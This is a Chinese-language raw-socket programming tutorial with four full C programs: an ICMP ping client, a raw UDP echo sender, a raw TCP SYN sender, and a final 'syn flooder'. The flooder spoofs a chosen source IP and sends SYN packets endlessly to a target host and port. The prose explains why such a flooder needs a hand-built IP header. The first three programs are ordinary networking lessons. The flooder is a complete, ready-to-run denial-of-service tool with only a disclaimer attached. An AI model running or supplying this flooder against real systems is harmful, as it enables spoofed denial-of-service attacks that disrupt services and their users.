Raw socket編程例解 作者:Kevin Z. Tan(kevintz) kevintz@163.com 聲明:本文僅作為技術探討所用,對任何人使用本文里的程序所做的事,本人概不負責。本文 版權遵循GPL version 2 !!! 前幾天網友genjuro_lyb轉貼了一篇關于raw socket編程的文章,覺得對TCP/IP的理解有較大 用處,所以中譯成《Raw socket C語言簡明教程》。但這篇教程里的例子代碼不完整,不利于網友 結合實踐進行學習raw socket編程。所以就寫了4使用個例子,現(xiàn)在將代碼貼出來,供大家交流學習。 我在寫這些代碼的過程中,遇到不少問題,走了一些彎路,總結一下,為了不再重復花費大家的 精力和時間: 1、in_cksum()生成的結果不用轉換成網絡序。另外如果這個函數寫得不正確的話,通常得不到 對方的發(fā)回包,很難調試。 2、數據轉化成網絡序的一個原則是:一般協(xié)議頭部的short和int/long型的數據通常要轉換成 網絡序。運載的數據部分,如果在對方要處理的,類型為short/int/long型數據的也要轉換 成網絡序。如果對方不做處理,直接返回的數據部分,可以不轉換成我網絡序。 3、raw tcp的程序為什么只寫發(fā)SYN包:因為你發(fā)了SYN包,對方發(fā)回來SYN/ACK包,你的操作系統(tǒng) 內核先于你的程序接收到這個包,它檢查內核里的socket,發(fā)現(xiàn)沒有一個socket對應于這個包 (因為raw tcp socket沒有保存ip和端口等信息,所以內核不能識別這個包),所以發(fā)了一個 RST包給對方,于是對方的tcp socket關閉了。你的raw tcp socket最終收到這個SYN/ACK包, 你的程序做了處理后,再發(fā)ACK包給對方時,對方的tcp socket已經關閉,所以對方就發(fā)了一個 RST回來。要寫一個SYN flooder就只能用raw raw socket,因為raw tcp不能自己控制IP頭,所 以不能寫SYN flooder,除非用了IP_HDRINCL選項和自己構造IP頭部。本人對其他人使用這些程 序所做的事情不負任何責任,僅為技術交流而發(fā)布。 4、關于各種協(xié)議頭的檢驗和產生方法。 IP:只包含IP頭的檢驗和,不包括數據部分。 ICMP:包括ICMP頭和數據。 TCP:包括一個偽協(xié)議頭部和TCP頭和數據。 UDP:包括一個偽協(xié)議頭部和UDP頭和數據。 5、raw socket發(fā)送數據和返回數據的形式: raw icmp socket(IPPROTO_ICMP): 不用構建IP頭部分,只發(fā)送ICMP頭和數據。返回包括IP頭和ICMP頭和數據。 raw udp socket(IPPROTO_UDP): 不用構建IP頭部分,只發(fā)送UDP頭和數據。返回包括IP頭和UDP頭和數據。 raw tcp socket(IPPROTO_TCP): 不用構建IP頭部分,只發(fā)送TCP頭和數據。返回包括IP頭和TCP頭和數據。 raw raw socket(IPPROTO_RAW): 要構建IP頭部和要發(fā)送的各種協(xié)議的頭部和數據。返回包括IP頭和相應的協(xié)議頭和數據。 6、參考資料: 1、R. Stevens 《TCP/IP詳解》卷一、二、三 2、R. Stevens 《Unix網絡編程》卷一 3、Phrack雜志 7、編譯平臺:Linux。FreeBSD應該可以通過。所有程序都要root權限運行。調試raw udp程序時, 大家將/etc/inetd.conf里的echo upd服務打開就可以了,端口號是7。由于不想將篇幅變太大, in_cksum()函數源碼只出現(xiàn)一次,加入其他的程序里就可以了。 調試工具:tcpdump和netstat 8、大家可以改進的地方: 1)加入主機名字查詢,不用每次都打IP。加入服務查詢,不用打端口,用服務的名字就可以了。 2)你能想到的都可以寫進去。 /* simple ping program */ #define __USE_BSD #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #define __FAVOR_BSD #include <unistd.h> #include <signal.h> #include <arpa/inet.h> #include <errno.h> #include <sys/time.h> #include <stdio.h> struct sockaddr_in saddr; int rawsock; unsigned short in_cksum(unsigned short *addr, int len) { int sum=0; unsigned short res=0; while( len > 1) { sum += *addr++; len -=2; } if( len == 1) { *((unsigned char *)(&res))=*((unsigned char *)addr); sum += res; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >>16) ; res = ~sum; return res; } void ping(int signo) { int len; int i; static unsigned short seq=0; char buff[8192]; struct timeval tv; struct icmp *icmph=(struct icmp *)buff; long *data=(long *)icmph->icmp_data; bzero(buff, 8192); gettimeofday(&tv, NULL); icmph->icmp_type=ICMP_ECHO; icmph->icmp_code=0; icmph->icmp_cksum=0; icmph->icmp_id=0; icmph->icmp_seq=0; icmph->icmp_id=getpid()&0xffff; icmph->icmp_seq=seq++; data[0]= tv.tv_sec; data[1]= tv.tv_usec; for(i=8; i< 64; i++) icmph->icmp_data[i]=(unsigned char )i; icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72); len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr)); alarm(1); } void sigint(int signo) { printf("CATCH SIGINT !!!\n"); close(rawsock); exit(0); } void dumppkt(char *buf, int len) { struct ip *iph=(struct ip *)buf; int i=iph->ip_hl*4; struct icmp *icmph=(struct icmp *)&buf[i]; long *data=( long*)icmph->icmp_data; struct timeval tv; gettimeofday(&tv, NULL); if( icmph->icmp_type != ICMP_ECHOREPLY ) return; if( icmph->icmp_id != (getpid()&0xffff) ) return; printf("From %s : ttl=%d seq=%d time=%.2f ms\n", inet_ntoa(iph->ip_src), iph->ip_ttl , icmph->icmp_seq, (tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0); } int main(int argc, char *argv[]) { int len; struct timeval now; char recvbuff[8192]; if( argc != 2) { printf("%s aaa.bbb.ccc.ddd\n", argv[0]); exit(1); } rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if( rawsock < 0) { perror("socket"); exit(1); } bzero( &saddr, sizeof(saddr)); saddr.sin_family=AF_INET; if( inet_aton( argv[1], &saddr.sin_addr) < 0) { printf("invalid IP address:%s\n", argv[1]); exit(1); } signal(SIGALRM, ping); signal(SIGINT, sigint); alarm(1); while(1) { len=read(rawsock, recvbuff, 8192); if( len < 0 && errno == EINTR) continue; else if( len < 0) perror("read"); else if( len > 0 ) dumppkt(recvbuff, len); } close(rawsock); exit(0); } /* simple ping end */ /* simple raw udp program */ #define __USE_BSD /* 使用BSD風格的結構定義 */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #define __FAVOR_BSD /* use bsd'ish tcp header */ #include <netinet/udp.h> #include <unistd.h> #include <signal.h> #include <arpa/inet.h> #include <errno.h> struct pesudo_udphdr { unsigned int saddr, daddr; unsigned char unused; unsigned char protocol; unsigned short udplen; }; struct sockaddr_in dst; struct sockaddr_in src; int rawsock; char buff[8192]; void udpecho() { char sendbuf[8192]; int len; struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf; struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr )); char *data=(char *)(udph+1); strcpy(data, "hello,world\n"); pudph->saddr=src.sin_addr.s_addr; pudph->daddr=dst.sin_addr.s_addr; pudph->unused=0; pudph->protocol=IPPROTO_UDP; pudph->udplen=htons(8+strlen(data)+1); udph->uh_sport=src.sin_port; /* port num already net_byte_order */ udph->uh_dport=dst.sin_port; udph->uh_ulen=pudph->udplen; udph->uh_sum=0; /* include pesudo header and udp header*/ udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1); len=sendto(rawsock, udph, 8+strlen(data)+1, 0, (struct sockaddr *)&dst, sizeof(dst)); if( len < 0) perror("sendto() error"); else printf("sendto() send %d bytes\n", len); } void dump(char *buff, int len) { struct ip *iph=(struct ip *)buff; int i=iph->ip_hl*4; struct udphdr *udph=(struct udphdr *)&buff[i]; char *data=(char *)(udph+1); printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n", inet_ntoa(iph->ip_src), ntohs(udph->uh_sport), inet_ntoa(iph->ip_dst), ntohs(udph->uh_dport), len, i, ntohs(iph->ip_len) ); printf(data); } void alarmsig(int a) { udpecho(); alarm(1); } int main(int argc, char *argv[]) { int len; if(argc != 5) { printf("usage: %s localip localport remoteip remoteport\n",argv[0]); exit(1); } if( inet_aton(argv[1], &src.sin_addr) == 0) { printf("bad localip:%s\n", argv[1]); exit(1); } if( inet_aton(argv[3], &dst.sin_addr) == 0) { printf("bad remoteip:%s\n", argv[3]); exit(1); } src.sin_port=htons(atoi(argv[2])); dst.sin_port=htons(atoi(argv[4])); src.sin_family=AF_INET; dst.sin_family=AF_INET; rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP); if( rawsock < 0) { perror("socket"); exit(1); } if( signal(SIGALRM, alarmsig) < 0) { perror("signal"); exit(1); } alarm(1); while( (len=read(rawsock, buff, 8192)) > 0) { dump(buff, len); } close(rawsock); exit(0); } /* raw udp end */ /* raw tcp syn sender */ #define __USE_BSD /* 使用BSD風格的結構定義 */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #define __FAVOR_BSD /* use bsd'ish tcp header */ #include <netinet/tcp.h> #include <unistd.h> #include <arpa/inet.h> #include <errno.h> struct pesudo_tcphdr { unsigned int saddr, daddr; unsigned char unused; unsigned char protocol; unsigned short tcplen; }; struct sockaddr_in dst; struct sockaddr_in src; int seq; int rawsock; char buff[8192]; void syn() { char sendbuf[8192]; int len; struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf; struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr )); ptcph->saddr=src.sin_addr.s_addr; ptcph->daddr=dst.sin_addr.s_addr; ptcph->unused=0; ptcph->protocol=IPPROTO_TCP; ptcph->tcplen=htons(20); /* we just send header , no data */ tcph->th_sport=src.sin_port; /* port num already net_byte_order */ tcph->th_dport=dst.sin_port; tcph->th_seq=htonl(123456); tcph->th_ack=0; tcph->th_x2=0; tcph->th_off=5; tcph->th_flags=TH_SYN; tcph->th_win=htons(65535); tcph->th_sum=0; tcph->th_urp=0; /* include pesudo header and tcp header*/ tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12); len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst)); if( len < 0) perror("sendto() SYN error"); else printf("sendto() SYN send %d bytes\n", len); } void dump(char *buff, int len) { struct ip *iph=(struct ip *)buff; int i=iph->ip_hl*4; struct tcphdr *tcph=(struct tcphdr *)&buff[i]; printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n", inet_ntoa(iph->ip_src), ntohs(tcph->th_sport), inet_ntoa(iph->ip_dst), ntohs(tcph->th_dport), len, i, ntohs(iph->ip_len) ); printf("seq: %u ack_seq:%u ", ntohl(tcph->th_seq), ntohl(tcph->th_ack) ); if( tcph->th_flags & TH_SYN) printf("SYN "); if( tcph->th_flags & TH_ACK) printf("ACK "); if( tcph->th_flags & TH_FIN) printf("FIN "); if( tcph->th_flags & TH_RST) printf("RST "); if( tcph->th_flags & TH_URG) printf("URG "); if( tcph->th_flags & TH_PUSH) printf("PUSH "); printf("\n"); } int main(int argc, char *argv[]) { int len; if(argc != 5) { printf("usage: %s localip localport remoteip remoteport\n",argv[0]); exit(1); } if( inet_aton(argv[1], &src.sin_addr) == 0) { printf("bad localip:%s\n", argv[1]); exit(1); } if( inet_aton(argv[3], &dst.sin_addr) == 0) { printf("bad remoteip:%s\n", argv[3]); exit(1); } src.sin_port=htons(atoi(argv[2])); dst.sin_port=htons(atoi(argv[4])); src.sin_family=AF_INET; dst.sin_family=AF_INET; rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if( rawsock < 0) { perror("socket"); exit(1); } syn(); len=read(rawsock, buff, 8192); if( len > 0) dump(buff, len); else printf("read return %d \n", len); close(rawsock); exit(0); } /* simple syn flooder !!! */ #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/ip.h> #include <linux/tcp.h> #include <stdio.h> #include <stdlib.h> unsigned short in_cksum(unsigned short *ptr,int nbytes); int synflooding(); void sigint(int signo); struct sockaddr_in target; struct sockaddr_in pesudo; int rawsock; void sigint(int signo) { printf("catch SIGINT\n"); close(rawsock); exit(0); } int main(int argc, char *argv[]) { if( argc != 4) { printf("usage:%s pesudoip attackip attackport\n", argv[0]); exit(1); } if( inet_aton(argv[1], &pesudo.sin_addr) == 0) { printf("bad ip address:%s\n", argv[1]); exit(1); } if( inet_aton(argv[2], &target.sin_addr) == 0) { printf("bad ip address:%s\n", argv[2]); exit(1); } target.sin_port=htons(atoi(argv[3])); signal(SIGINT, sigint); synflooding(); exit(0); } int synflooding() { int i, j, k; struct packet{ struct iphdr ip; struct tcphdr tcp; }packet; struct pseudo_header{ /* For TCP header checksum */ unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pseudo_header; bzero(&packet, sizeof(packet)); bzero(&pseudo_header, sizeof(pseudo_header)); if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("socket()"); exit(1); } packet.tcp.dest=target.sin_port; /* 16-bit Destination port */ packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ packet.tcp.doff=5; /* Data offset */ packet.tcp.res1=0; /* reserved */ packet.tcp.res2=0; /* reserved */ packet.tcp.urg=0; /* Urgent offset valid flag */ packet.tcp.ack=0; /* Acknowledgement field valid flag */ packet.tcp.psh=0; /* Push flag */ packet.tcp.rst=0; /* Reset flag */ packet.tcp.syn=1; /* Synchronize sequence numbers flag */ packet.tcp.fin=0; /* Finish sending flag */ packet.tcp.window=htons(242); /* 16-bit Window size */ packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ packet.ip.version=4; /* 4-bit Version */ packet.ip.ihl=5; /* 4-bit Header Length */ packet.ip.tos=0; /* 8-bit Type of service */ packet.ip.tot_len=htons(40); /* 16-bit Total length */ packet.ip.id=getpid(); /* 16-bit ID field */ packet.ip.frag_off=0; /* 13-bit Fragment offset */ packet.ip.ttl=255; /* 8-bit Time To Live */ packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */ packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */ packet.ip.check=in_cksum((unsigned short *)&packet.ip,20); while(1) { /* set src port and ISN */ packet.tcp.source=htons(1025+rand()%60000); packet.tcp.seq=761013+rand()%100000; packet.tcp.check=0; pseudo_header.source_address=packet.ip.saddr; pseudo_header.dest_address=packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(20); bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20); packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32); sendto(rawsock,&packet,40,0, (struct sockaddr *)&target,sizeof(target)); } return 0; } /* syn flooder end */ |